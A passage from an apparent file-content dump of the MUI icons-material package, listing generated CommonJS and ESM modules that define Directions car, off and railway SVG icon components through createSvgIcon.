0 .81.28.95.68L19 11z\"\n}), 'DirectionsCarRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DirectionsCarRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.92 6.01C18.72 5.42 18.16 5 17.5 5h-11c-.66 0-1.21.42-1.42 1.01l-1.97 5.67c-.07.21-.11.43-.11.66v7.16c0 .83.67 1.5 1.5 1.5S6 20.33 6 19.5V19h12v.5c0 .82.67 1.5 1.5 1.5.82 0 1.5-.67 1.5-1.5v-7.16c0-.22-.04-.45-.11-.66zM6.5 16c-.83 0-1.5-.67-1.5-1.5S5.67 13 6.5 13s1.5.67 1.5 1.5S7.33 16 6.5 16m11 0c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5M5 11l1.27-3.82c.14-.4.52-.68.95-.68h9.56c.43 0 .81.28.95.68L19 11z\"\n}), 'DirectionsCarRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DirectionsCarSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.58 5H5.43L3 12v9h3v-2h12v2h3v-9zM6.5 16c-.83 0-1.5-.67-1.5-1.5S5.67 13 6.5 13s1.5.67 1.5 1.5S7.33 16 6.5 16m11 0c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5M5 11l1.5-4.5h11L19 11z\"\n}), 'DirectionsCarSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DirectionsCarSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.58 5H5.43L3 12v9h3v-2h12v2h3v-9zM6.5 16c-.83 0-1.5-.67-1.5-1.5S5.67 13 6.5 13s1.5.67 1.5 1.5S7.33 16 6.5 16m11 0c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5M5 11l1.5-4.5h11L19 11z\"\n}), 'DirectionsCarSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DirectionsCarTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 17h14v-5H5zm11.5-4c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5-1.5-.67-1.5-1.5.67-1.5 1.5-1.5m-9 0c.83 0 1.5.67 1.5 1.5S8.33 16 7.5 16 6 15.33 6 14.5 6.67 13 7.5 13\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.92 6.01C18.72 5.42 18.16 5 17.5 5h-11c-.66 0-1.21.42-1.42 1.01L3 12v8c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-1h12v1c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-8zM6.85 7h10.29l1.08 3.11H5.77zM19 17H5v-5h14z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"7.5\",\n  cy: \"14.5\",\n  r: \"1.5\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"16.5\",\n  cy: \"14.5\",\n  r: \"1.5\"\n}, \"3\")], 'DirectionsCarTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DirectionsCarTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 17h14v-5H5zm11.5-4c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5-1.5-.67-1.5-1.5.67-1.5 1.5-1.5m-9 0c.83 0 1.5.67 1.5 1.5S8.33 16 7.5 16 6 15.33 6 14.5 6.67 13 7.5 13\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.92 6.01C18.72 5.42 18.16 5 17.5 5h-11c-.66 0-1.21.42-1.42 1.01L3 12v8c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-1h12v1c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-8zM6.85 7h10.29l1.08 3.11H5.77zM19 17H5v-5h14z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"7.5\",\n  cy: \"14.5\",\n  r: \"1.5\"\n}, \"2\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"16.5\",\n  cy: \"14.5\",\n  r: \"1.5\"\n}, \"3\")], 'DirectionsCarTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DirectionsOff.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.83 10h.67V7.5L17 11l-1.59 1.59L18.83 16l2.59-2.59c.78-.78.78-2.05 0-2.83l-7.99-8c-.78-.78-2.05-.78-2.83 0L8 5.17zM2.81 2.81 1.39 4.22 5.17 8l-2.59 2.59c-.78.78-.78 2.05 0 2.83l8.01 8c.78.78 2.05.78 2.83 0L16 18.83l3.78 3.78 1.41-1.41zM10 15H8v-4c0-.05.02-.09.03-.14L10 12.83z\"\n}), 'DirectionsOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/DirectionsOff.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.83 10h.67V7.5L17 11l-1.59 1.59L18.83 16l2.59-2.59c.78-.78.78-2.05 0-2.83l-7.99-8c-.78-.78-2.05-.78-2.83 0L8 5.17zM2.81 2.81 1.39 4.22 5.17 8l-2.59 2.59c-.78.78-.78 2.05 0 2.83l8.01 8c.78.78 2.05.78 2.83 0L16 18.83l3.78 3.78 1.41-1.41zM10 15H8v-4c0-.05.02-.09.03-.14L10 12.83z\"\n}), 'DirectionsOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/DirectionsOffOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21.71 11.29-9-9a.996.996 0 0 0-1.41 0L8.21 5.38l1.41 1.41L12 4.42 19.58 12l-2.38 2.38 1.41 1.41 3.09-3.09c.4-.37.4-1 .01-1.41\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 7.5v2.67l2.17 2.17L16.5 11zM1.39 4.22l3.99 3.99-3.09 3.09a.996.996 0 0 0 0 1.41l9 9c.39.39 1.02.39 1.41 0l3.09-3.09 3.99 3.99 1.41-1.41L2.81 2.81zm6.64 6.63c-.01.05-.04.1-.04.15v4h2v-2.18l4.38 4.38L12 19.58 4.42 12 6.8 9.62z\"\n}, \"1\")], 'DirectionsOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DirectionsOffOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m21.71 11.29-9-9a.996.996 0 0 0-1.41 0L8.21 5.38l1.41 1.41L12 4.42 19.58 12l-2.38 2.38 1.41 1.41 3.09-3.09c.4-.37.4-1 .01-1.41\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 7.5v2.67l2.17 2.17L16.5 11zM1.39 4.22l3.99 3.99-3.09 3.09a.996.996 0 0 0 0 1.41l9 9c.39.39 1.02.39 1.41 0l3.09-3.09 3.99 3.99 1.41-1.41L2.81 2.81zm6.64 6.63c-.01.05-.04.1-.04.15v4h2v-2.18l4.38 4.38L12 19.58 4.42 12 6.8 9.62z\"\n}, \"1\")], 'DirectionsOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DirectionsOffRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21.71 11.29-9-9a.996.996 0 0 0-1.41 0L8.21 5.38 13 10.17V7.5l3.15 3.15c.2.2.2.51 0 .71l-.98.98 3.45 3.45 3.09-3.09c.38-.38.38-1.01 0-1.41M6.79 6.79 3.51 3.51A.996.996 0 1 0 2.1 4.92L5.38 8.2l-3.09 3.09a.996.996 0 0 0 0 1.41l9 9c.39.39 1.02.39 1.41 0l3.09-3.09 3.28 3.28a.996.996 0 1 0 1.41-1.41zM9.99 14c0 .55-.45 1-1 1s-1-.45-1-1v-3c0-.05.02-.1.03-.15l1.97 1.97z\"\n}), 'DirectionsOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DirectionsOffRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m21.71 11.29-9-9a.996.996 0 0 0-1.41 0L8.21 5.38 13 10.17V7.5l3.15 3.15c.2.2.2.51 0 .71l-.98.98 3.45 3.45 3.09-3.09c.38-.38.38-1.01 0-1.41M6.79 6.79 3.51 3.51A.996.996 0 1 0 2.1 4.92L5.38 8.2l-3.09 3.09a.996.996 0 0 0 0 1.41l9 9c.39.39 1.02.39 1.41 0l3.09-3.09 3.28 3.28a.996.996 0 1 0 1.41-1.41zM9.99 14c0 .55-.45 1-1 1s-1-.45-1-1v-3c0-.05.02-.1.03-.15l1.97 1.97z\"\n}), 'DirectionsOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DirectionsOffSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m13 7.5 3.5 3.5-1.33 1.34 3.45 3.45L22.41 12 12.01 1.58l-3.8 3.8L13 10.17zM1.39 4.22l3.99 3.99L1.59 12l10.42 10.4 3.79-3.79 3.99 3.99 1.41-1.41L2.81 2.81zm8.6 8.6V15h-2v-4.18z\"\n}), 'DirectionsOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DirectionsOffSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m13 7.5 3.5 3.5-1.33 1.34 3.45 3.45L22.41 12 12.01 1.58l-3.8 3.8L13 10.17zM1.39 4.22l3.99 3.99L1.59 12l10.42 10.4 3.79-3.79 3.99 3.99 1.41-1.41L2.81 2.81zm8.6 8.6V15h-2v-4.18z\"\n}), 'DirectionsOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DirectionsOffTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21.71 11.29-9-9a.996.996 0 0 0-1.41 0L8.21 5.38l1.41 1.41L12 4.42 19.58 12l-2.38 2.38 1.41 1.41 3.09-3.09c.4-.37.4-1 .01-1.41\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 7.5v2.67l2.17 2.17L16.5 11zM1.39 4.22l3.99 3.99-3.09 3.09a.996.996 0 0 0 0 1.41l9 9c.39.39 1.02.39 1.41 0l3.09-3.09 3.99 3.99 1.41-1.41L2.81 2.81zm6.64 6.63c-.01.05-.04.1-.04.15v4h2v-2.18l4.38 4.38L12 19.58 4.42 12 6.8 9.62z\"\n}, \"1\")], 'DirectionsOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DirectionsOffTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m21.71 11.29-9-9a.996.996 0 0 0-1.41 0L8.21 5.38l1.41 1.41L12 4.42 19.58 12l-2.38 2.38 1.41 1.41 3.09-3.09c.4-.37.4-1 .01-1.41\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 7.5v2.67l2.17 2.17L16.5 11zM1.39 4.22l3.99 3.99-3.09 3.09a.996.996 0 0 0 0 1.41l9 9c.39.39 1.02.39 1.41 0l3.09-3.09 3.99 3.99 1.41-1.41L2.81 2.81zm6.64 6.63c-.01.05-.04.1-.04.15v4h2v-2.18l4.38 4.38L12 19.58 4.42 12 6.8 9.62z\"\n}, \"1\")], 'DirectionsOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DirectionsOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m22.43 10.59-9.01-9.01c-.75-.75-2.07-.76-2.83 0l-9 9c-.78.78-.78 2.04 0 2.82l9 9c.39.39.9.58 1.41.58s1.02-.19 1.41-.58l8.99-8.99c.79-.76.8-2.02.03-2.82m-10.42 10.4-9-9 9-9 9 9zM8 11v4h2v-3h4v2.5l3.5-3.5L14 7.5V10H9c-.55 0-1 .45-1 1\"\n}), 'DirectionsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DirectionsOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m22.43 10.59-9.01-9.01c-.75-.75-2.07-.76-2.83 0l-9 9c-.78.78-.78 2.04 0 2.82l9 9c.39.39.9.58 1.41.58s1.02-.19 1.41-.58l8.99-8.99c.79-.76.8-2.02.03-2.82m-10.42 10.4-9-9 9-9 9 9zM8 11v4h2v-3h4v2.5l3.5-3.5L14 7.5V10H9c-.55 0-1 .45-1 1\"\n}), 'DirectionsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DirectionsRailway.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 15.5C4 17.43 5.57 19 7.5 19L6 20.5v.5h12v-.5L16.5 19c1.93 0 3.5-1.57 3.5-3.5V5c0-3.5-3.58-4-8-4s-8 .5-8 4zm8 1.5c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2m6-7H6V5h12z\"\n}), 'DirectionsRailway');"
  },
  {
    "path": "packages/mui-icons-material/lib/DirectionsRailway.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 15.5C4 17.43 5.57 19 7.5 19L6 20.5v.5h12v-.5L16.5 19c1.93 0 3.5-1.57 3.5-3.5V5c0-3.5-3.58-4-8-4s-8 .5-8 4zm8 1.5c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2m6-7H6V5h12z\"\n}), 'DirectionsRailway');"
  },
  {
    "path": "packages/mui-icons-material/lib/DirectionsRailwayFilled.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2c-4 0-8 .5-8 4v9.5C4 17.43 5.57 19 7.5 19L6 20v1h12v-1l-1.5-1c1.93 0 3.5-1.57 3.5-3.5V6c0-3.5-3.58-4-8-4m0 14c-.83 0-1.5-.67-1.5-1.5S11.17 13 12 13s1.5.67 1.5 1.5S12.83 16 12 16m6-6H6V7h12z\"\n}), 'DirectionsRailwayFilled');"
  },
  {
    "path": "packages/mui-icons-material/lib/DirectionsRailwayFilled.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2c-4 0-8 .5-8 4v9.5C4 17.43 5.57 19 7.5 19L6 20v1h12v-1l-1.5-1c1.93 0 3.5-1.57 3.5-3.5V6c0-3.5-3.58-4-8-4m0 14c-.83 0-1.5-.67-1.5-1.5S11.17 13 12 13s1.5.67 1.5 1.5S12.83 16 12 16m6-6H6V7h12z\"\n}), 'DirectionsRailwayFilled');"
  },
  {
    "path": "packages/mui-icons-material/lib/DirectionsRailwayFilledOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2c-4 0-8 .5-8 4v9.5C4 17.43 5.57 19 7.5 19L6 20v1h12v-1l-1.5-1c1.93 0 3.5-1.57 3.5-3.5V6c0-3.5-3.58-4-8-4m0 2c3.71 0 5.13.46 5.67 1H6.43c.6-.52 2.05-1 5.57-1m6 11.5c0 .83-.67 1.5-1.5 1.5h-9c-.83 0-1.5-.67-1.5-1.5V12h12zm0-5.5H6V7h12z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"14.5\",\n  r: \"1.5\"\n}, \"1\")], 'DirectionsRailwayFilledOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DirectionsRailwayFilledOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2c-4 0-8 .5-8 4v9.5C4 17.43 5.57 19 7.5 19L6 20v1h12v-1l-1.5-1c1.93 0 3.5-1.57 3.5-3.5V6c0-3.5-3.58-4-8-4m0 2c3.71 0 5.13.46 5.67 1H6.43c.6-.52 2.05-1 5.57-1m6 11.5c0 .83-.67 1.5-1.5 1.5h-9c-.83 0-1.5-.67-1.5-1.5V12h12zm0-5.5H6V7h12z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"14.5\",\n  r: \"1.5\"\n}, \"1\")], 'DirectionsRailwayFilledOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DirectionsRailwayFilledRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2c-4 0-8 .5-8 4v9.5C4 17.43 5.57 19 7.5 19l-1.21.81c-.18.12-.29.32-.29.54 0 .36.29.65.65.65h10.7c.36 0 .65-.29.65-.65 0-.22-.11-.42-.29-.54L16.5 19c1.93 0 3.5-1.57 3.5-3.5V6c0-3.5-3.58-4-8-4m0 14c-.83 0-1.5-.67-1.5-1.5S11.17 13 12 13s1.5.67 1.5 1.5S12.83 16 12 16m6-6H6V7h12z\"\n}), 'DirectionsRailwayFilledRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DirectionsRailwayFilledRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2c-4 0-8 .5-8 4v9.5C4 17.43 5.57 19 7.5 19l-1.21.81c-.18.12-.29.32-.29.54 0 .36.29.65.65.65h10.7c.36 0 .65-.29.65-.65 0-.22-.11-.42-.29-.54L16.5 19c1.93 0 3.5-1.57 3.5-3.5V6c0-3.5-3.58-4-8-4m0 14c-.83 0-1.5-.67-1.5-1.5S11.17 13 12 13s1.5.67 1.5 1.5S12.83 16 12 16m6-6H6V7h12z\"\n}), 'DirectionsRailwayFilledRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DirectionsRailwayFilledSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2c-4 0-8 .5-8 4v9.5C4 17.43 5.57 19 7.5 19L6 20v1h12v-1l-1.5-1c1.93 0 3.5-1.57 3.5-3.5V6c0-3.5-3.58-4-8-4m0 14c-.83 0-1.5-.67-1.5-1.5S11.17 13 12 13s1.5.67 1.5 1.5S12.83 16 12 16m6-6H6V7h12z\"\n}), 'DirectionsRailwayFilledSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DirectionsRailwayFilledSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2c-4 0-8 .5-8 4v9.5C4 17.43 5.57 19 7.5 19L6 20v1h12v-1l-1.5-1c1.93 0 3.5-1.57 3.5-3.5V6c0-3.5-3.58-4-8-4m0 14c-.83 0-1.5-.67-1.5-1.5S11.17 13 12 13s1.5.67 1.5 1.5S12.83 16 12 16m6-6H6V7h12z\"\n}), 'DirectionsRailwayFilledSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DirectionsRailwayFilledTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 15.5c0 .83.67 1.5 1.5 1.5h9c.83 0 1.5-.67 1.5-1.5V12H6zm6-2.5c.83 0 1.5.67 1.5 1.5S12.83 16 12 16s-1.5-.67-1.5-1.5.67-1.5 1.5-1.5m0-9c-3.52 0-4.97.48-5.57 1h11.24c-.54-.54-1.96-1-5.67-1\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2c-4 0-8 .5-8 4v9.5C4 17.43 5.57 19 7.5 19L6 20v1h12v-1l-1.5-1c1.93 0 3.5-1.57 3.5-3.5V6c0-3.5-3.58-4-8-4m0 2c3.71 0 5.13.46 5.67 1H6.43c.6-.52 2.05-1 5.57-1m6 11.5c0 .83-.67 1.5-1.5 1.5h-9c-.83 0-1.5-.67-1.5-1.5V12h12zm0-5.5H6V7h12z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"14.5\",\n  r: \"1.5\"\n}, \"2\")], 'DirectionsRailwayFilledTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DirectionsRailwayFilledTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 15.5c0 .83.67 1.5 1.5 1.5h9c.83 0 1.5-.67 1.5-1.5V12H6zm6-2.5c.83 0 1.5.67 1.5 1.5S12.83 16 12 16s-1.5-.67-1.5-1.5.67-1.5 1.5-1.5m0-9c-3.52 0-4.97.48-5.57 1h11.24c-.54-.54-1.96-1-5.67-1\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2c-4 0-8 .5-8 4v9.5C4 17.43 5.57 19 7.5 19L6 20v1h12v-1l-1.5-1c1.93 0 3.5-1.57 3.5-3.5V6c0-3.5-3.58-4-8-4m0 2c3.71 0 5.13.46 5.67 1H6.43c.6-.52 2.05-1 5.57-1m6 11.5c0 .83-.67 1.5-1.5 1.5h-9c-.83 0-1.5-.67-1.5-1.5V12h12zm0-5.5H6V7h12z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"14.5\",\n  r: \"1.5\"\n}, \"2\")], 'DirectionsRailwayFilledTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DirectionsRailwayOutlined.js",
